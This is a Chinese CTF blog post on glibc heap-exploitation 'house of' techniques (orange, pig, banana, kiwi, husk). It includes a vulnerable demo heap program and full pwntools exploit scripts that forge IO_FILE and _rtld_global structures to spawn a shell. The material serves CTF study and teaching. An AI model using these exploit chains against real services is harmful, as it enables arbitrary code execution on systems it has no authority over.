Skip to content
Menu
Nameless的摸鱼笔记 Nameless的摸鱼笔记
  • 示例页面
Nameless的摸鱼笔记 Nameless的摸鱼笔记

【pwn利用系列之】house of

Posted on 2022年3月23日2022年7月21日 by Nameless

house of这个利用系列可谓是堆题的进阶,一般一个house of是堆高级利用+IO_file链子的结合

在此按照个人研究顺序记录记录各个house的利用手法

(一)house of orange

orange是在2016弯弯举办的世界黑客大赛中提出的利用,主要是针对2.23~2.27(低版本)且没有free的一种利用手法

堆:主要是通过堆溢出修改top_chunk,调小并且页对齐(一般调为三字节大小也就是0x???),然后malloc一个略大于top_chunk的堆块,就会把top_chunk放入unsorted bin,就获得了一块bin中的堆块了,后续的ub attack或者leak libc都很方便

IO链子:

2.23:

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->system(‘/bin/sh’)

2.24~2.27(还能ub attack的低版本):

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->over_flow->malloc_hook->setcontext

高版本貌似移除了abort,也就不能再考虑使用orange的链子了,不过orange对堆的处理思想应该还是能够用到的

(二)house of pig

house of pig 是针对2.27以后ub attack无法再使用的一个新的利用手法,主要是通过large bin 插入机制任意地址写堆块改IO_list_all的位置为一个堆块,通过这个堆块伪造一个fake_io,然后进入exit的over_flow里面的三连调用。在2.34ban hook之前,能够直接打free_hook;ban了之后,应该是打strlen的libc.got

堆:small bin unlink stash使得在over_flow里面malloc和memcpy能够任意写stash进tcache的堆块,large bin attack劫持free_hook-8为可写的堆地址,使得能成功stash free_hook – 0x10(即它的fd指针可写)

IO:exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp

劫持flush时IO_list_all中的io_file结构体,调用malloc,memcpy,free三连

demo

from x1ng 师傅

//gcc -o pig pig.c

#include<stdio.h> 
#include <unistd.h> 
#define MAXIDX 5 
void init()
{
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	setbuf(stderr, 0);
}

void menu()
{
	puts("1.add");
	puts("2.edit");
	puts("3.show");
	puts("4.delete");
	puts("5.exit");
	printf("Your choice:");
}

char *list[MAXIDX];
size_t sz[MAXIDX];

int add()
{
	int idx,size;
	printf("Idx:");
	scanf("%d",&idx);
	if(idx<0 || idx>=MAXIDX)
		exit(1);
	printf("Size:");
	scanf("%d",&size);
	if(size<0x80||size>0x500)
		exit(1);
	list[idx] = (char*)calloc(size,1);
	sz[idx] = size;
}

int edit()
{
	int idx;
	printf("Idx:");
	scanf("%d",&idx);
	if(idx<0 || idx>=MAXIDX)
		exit(1);
	puts("context: ");
	read(0,list[idx],sz[idx]);
}

int delete()
{
	int idx;
	printf("Idx:");
	scanf("%d",&idx);
	if(idx<0 || idx>=MAXIDX)
		exit(1);
		
	free(list[idx]);
}

int show()
{
	int idx;
	printf("Idx:");
	scanf("%d",&idx);
	if(idx<0 || idx>=MAXIDX)
		exit(1);
		
	printf("context: ");
	puts(list[idx]);
}


int main()
{
	int choice;
	init();
	while(1){
		menu();
		scanf("%d",&choice);
		if(choice==5){
			return;
		}
		else if(choice==1){
			add();
		}
		else if(choice==2){
			show();
		}
		else if(choice==3){
			edit();
		}
		else if(choice==4){
			delete();
		}
	}
}

exp

from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})

def z():
    gdb.attach(r)

def cho(num):
    r.sendlineafter("choice:",str(num))

def add(idx,size):
    cho(1)
    r.sendlineafter('Idx:',str(idx))
    r.sendlineafter('Size:',str(size))   

def show(idx):
    cho(2)
    r.sendlineafter('Idx:',str(idx))

def edit(idx,con):
    cho(3)
    r.sendlineafter('Idx:',str(idx))
    r.sendafter("context: ",con)

def delet(idx):
    cho(4)
    r.sendlineafter('Idx:',str(idx))


def exp():
    global r
    global libc
    libc=ELF('./libc-2.31.so')
    r=process('./pig')

    ##leak_libc 
    add(0,0x90)
    add(1,0x490)
    add(2,0x90)
    delet(1)
    show(1)
    r.recvuntil('context: ')
    libcbase=u64(r.recv(6).ljust(8,'\x00'))-0xbe0-0x1ec000
    log.success('libcbase:'+hex(libcbase))
    
    ##set_libcfunc
    free_hook=libcbase+libc.sym['__free_hook']
    log.success('free_hook:'+hex(free_hook))
    IO_list_all = libcbase + libc.sym['_IO_list_all']
    IO_str_jumps = libcbase + 0x1e9560
    system = libcbase + libc.sym['system']
    ##leak_heap
    delet(0)
    edit(0,'nameless')
    show(0) 
    r.recvuntil('nameless')
    heap=u64(r.recv(6).ljust(8,'\x00'))-0x10
    log.success('heap:'+hex(heap))
    
    ##largebin attack to make free_hook-0x8 contain a heap
      ##attack
    add(1,0x490)
    add(0,0x450)
    add(1,0x90)
    add(2,0x430) 
    delet(0)
    add(1,0x460)
    delet(2)
    edit(0,p64(libcbase+0x1ecfe0)*2+p64(heap+0x870)+p64(free_hook-0x28)) 
    add(4,0x490)
       ##recover
    edit(0,p64(heap+0xd70)+p64(libcbase+0x1ecfe0)+p64(heap+0xd70)*2) 
    edit(2,p64(libcbase+0x1ecfe0)+p64(heap+0x870)*3)
    add(0,0x450)
    add(0,0x430)

    ##largebin attack again 2 put fake io in IO_list_all
    add(1,0x490)
    add(3,0x450)
    add(1,0x90)
    add(2,0x430) 
    delet(3)
    add(1,0x460)
    delet(2)
    ##z()
    edit(3,p64(libcbase+0x1ecfe0)*2+p64(heap+0x1f60)+p64(IO_list_all-0x20)) 
    add(4,0x490)
       ##recover
    edit(3,p64(heap+0x2460)+p64(libcbase+0x1ecfe0)+p64(heap+0x2460)*2) 
    edit(2,p64(libcbase+0x1ecfe0)+p64(heap+0x1f60)*3)
    add(3,0x450)
    ##z()
    add(2,0x430) ##fake_io 

    ##stash free_hook - 0x10 to tcache
    ##z()
    for i in range(0,5):
        add(1,0xa0)
        delet(1)
    for i in range(0,7):
        add(1,0x200)
        delet(1)

    add(0,0x200)
    add(1,0x90)
    delet(0)
    add(1,0x150)
    ##z()
    add(3,0x200)
    add(1,0x100)
    delet(3)
    add(1,0x150)
    add(1,0x100)
    edit(3,'\x00'*0x158+p64(0xb1)+p64(heap+0x44f0)+p64(free_hook-0x20))
    add(1,0xa0)

    ##IO_file attack : buf : 0x43a0 + heap
    buf=heap+0x43a0
    pd='/bin/sh\x00'+p64(0)+p64(system)
    edit(0,pd)
    pd=p64(0)*3+p64(0x28)+p64(0)+p64(buf)+p64(buf+34)
    pd=pd.ljust(0xc8,'\x00')+p64(IO_str_jumps) 
    ##z()
    edit(2,pd)

    ##get_shell
    cho(5)
    ##show(0)
    r.interactive()
    
if __name__ == '__main__':
    exp()
    ##setcontext and orw
    ''''
    orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
    orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
    orw+=p64(0xdeadbeef)
    pd=p64(gold_key)+p64(free_hook)
    pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
    pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw
    r.sendafter(">>",pd)
    flag=r.recvline()
    '''

(三)house of banana

largebin attack劫持_rtld_global结构体为一个堆块,然后在上面布局达到getshell

IO:exit->_dl_fini->_rtld_global结构体中的函数指针

过程很复杂,主要是如下的伪造:

	pd = b'\x00'*0x18
	pd+= p64(heap)
	pd = pd.ljust(0x38,b'\x00')
	pd+= p64(heap+0x58)
	pd+= p64(8)
	pd+= p64(back_door)
	pd = pd.ljust(0x100,b'\x00')
	pd+= p64(heap+0x40)
	pd = pd.ljust(0x110,b'\x00')
	pd+= p64(heap+0x48)
	pd = pd.ljust(0x30c,b'\x00')
	pd+= p64(0x9)

exp(demo同上)

#!/usr/bin/python 
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='banana'
libc_name='/lib/x86_64-linux-gnu/libc.so.6'


libc=ELF(libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('',)
    
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(choice):
	sla('Your choice:', str(choice))

def add(idx,sz):
	cho(1)
	sla('Idx:', str(idx))
	sla("Size:", str(sz))

def show(idx):
	cho(2)
	sla('Idx:', str(idx))

def edit(idx, com):
	cho(3)
	sla('Idx:', str(idx))
	sla("context: ", com)

def delete(idx):
	cho(4)
	sla('Idx:', str(idx))
	
	
add(0,0x460)
add(4,0x90)
add(1,0x450)
add(4,0x90)
delete(0)
show(0)
ru('context: ')
libcbase=leak_address()-0x1ebbe0
ldbase=libcbase+0x20e000
_rtld_global=ldbase+ld.sym['_rtld_global']
IO_list_all = libcbase + libc.sym['_IO_list_all']
system = libcbase + libc.sym['system']
print('[+]libcbase: '+hex(libcbase))
print('[+]_rtld_global: '+hex(_rtld_global))
print('[+]system: '+hex(system))

	
add(4,0x500)	
edit(0,'a'*0xf)
show(0)
ru('aaaaa\n')
heap=leak_address()
print('[+]heap: '+hex(heap))

node=_rtld_global-0x4a048
edit(0,p64(libcbase+0x1ebfe0)*2+p64(heap)+p64(node-0x20))
delete(1)

add(4,0x500)
	
	
edit(0,p64(heap+0x510)+p64(libcbase+0x1ebfe0)+p64(heap+0x510)+p64(heap+0x510))
edit(1,p64(libcbase+0x1ebfe0)+p64(heap)+p64(heap)+p64(heap))
add(0,0x450)#fake_l 
add(4,0x460)
	
one=[0xe6c7e,0xe6c81,0xe6c84]

pd = b'\x00'*0x18
pd+= p64(heap+0x510)
pd = pd.ljust(0x38,b'\x00')
pd+= p64(heap+0x510+0x58)
pd+= p64(8)
pd+= p64(libcbase+one[0])
pd = pd.ljust(0x100,b'\x00')
pd+= p64(heap+0x510+0x40)
pd = pd.ljust(0x110,b'\x00')
pd+= p64(heap+0x510+0x48)
pd = pd.ljust(0x30c,b'\x00')
pd+= p64(0x9)
	
edit(0,pd)
cho(5)


ia()

(四)house of kiwi

[原创]从PWN题NULL_FXCK中学到的glibc知识-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

(五)house of husk

这个主要是printf函数内部的一个调用链:

printf->vfprintf->printf_positional

而printf_positional会有两个调用的函数指针:

__printf_arginfo_table[spec]和__printf_function_table[spec]

这里的spec是格式化字符的ascii码,只要__printf_arginfo_table和__printf_function_table这两个地方都非空,并且其中一个的spec偏移位置放的是onegadget,就能getshell

例题:【HWS2022冬令营】送分题

ubattack 打global max,然后申请与main_arena+8偏移*2大小的堆块free掉,就能保证这两个地方放置一个堆块,再改写堆块的spec(”S“)的位置偏移为ogg就能getshell

exp

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
sh = process("./pwn")
# sh = remote("1.13.162.249",10001)

def z():
    gdb.attach(sh)

context.log_level='debug'
z()
sh.sendlineafter("big box, what size?\n",str(0x1850)) 
sh.sendlineafter("bigger box, what size?\n",str(0x9420))
sh.sendlineafter("rename?(y/n)\n",'y')
# gdb.attach(sh)
 
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
global_max_fast = libc_base + 0x3ed940
success(hex(libc_base))
success(hex(global_max_fast))
 
z()
sh.sendafter("new name!\n",b'/bin/sh\x00'+p64(global_max_fast-0x10))
##z()
sh.sendlineafter("(1:big/2:bigger)\n",'1')
 
one_gadget = 0x10a45c+libc_base
sh.send(b'a'*((ord('s')-2)*8)+p64(one_gadget))
 
sh.interactive()

发表回复 取消回复

要发表评论,您必须先登录。

近期文章

  • 关于Nokelock蓝牙锁破解分析
  • 基于树莓派的蓝牙调试环境搭建
  • shell之外的往事:机械兔子
  • [Googlectf2022]硬件题weather
  • 嵌入式设备组播路由攻击实战

近期评论

    归档

    • 2023年4月
    • 2023年3月
    • 2023年1月
    • 2022年10月
    • 2022年9月
    • 2022年8月
    • 2022年7月
    • 2022年5月
    • 2022年4月
    • 2022年3月
    • 2022年2月

    分类

    • fuzz
    • hardware
    • Linux
    • oi
    • PWN
    • python
    • shell之外的往事
    • 嵌入式开发
    • 未分类
    • 比赛题解
    • 程序设计实战

    其他操作

    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org

    朋友们

    chuj
    夜魅楠孩
    x1ng
    pankas
    杨宝
    h4kuy4
    大能猫
    t0hka
    hash_hash
    nightu
    yolbby
    JBNRZ
    oacia
    l0tus
    Korey0sh1

    ©2022 Nameless的摸鱼笔记

    蜀ICP备2022004715号

    ©2023 Nameless的摸鱼笔记 | Powered by WordPress & Superb Themes